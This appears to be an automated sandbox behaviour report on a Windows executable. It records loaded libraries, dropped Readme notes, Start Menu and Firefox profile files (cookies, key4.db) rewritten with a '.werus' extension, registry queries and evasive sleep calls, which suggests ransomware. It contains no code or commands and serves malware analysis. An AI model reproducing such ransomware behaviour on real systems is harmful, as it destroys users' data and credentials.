Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: tiledatarepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: aASfOObWpW.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: aASfOObWpW.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: aASfOObWpW.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\pover\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb source: aASfOObWpW.exe
Source:	Binary string: C:\Users\pover\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb}Z source: aASfOObWpW.exe

Source: aASfOObWpW.exe

Static PE information: 0xC3791C1C [Sun Dec 3 02:36:12 2073 UTC]

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_1.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_2.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_3.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_4.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_5.txt	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Magnify.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Narrator.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\On-Screen Keyboard.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Administrative Tools.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Command Prompt.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\computer.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Control Panel.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Run.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell (x86).lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk.werus	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Memory allocated: 960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Memory allocated: 2300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Memory allocated: 4300000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Window / User API: threadDelayed 1194			Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Window / User API: threadDelayed 1892			Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -99762s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -99645s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -99421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -99263s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -99151s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -98796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -98671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -98451s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -98343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -98233s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 6668	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 99762	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 99645	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 99421	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 99263	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 99151	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 98796	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 98671	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 98451	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 98343	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 98233	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store	Jump to behavior

Source: aASfOObWpW.exe, 00000000.00000002.3288233373.0000000008110000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllI

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Users\user\Desktop\aASfOObWpW.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Overwrites Mozilla Firefox settings

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.werus	Jump to behavior
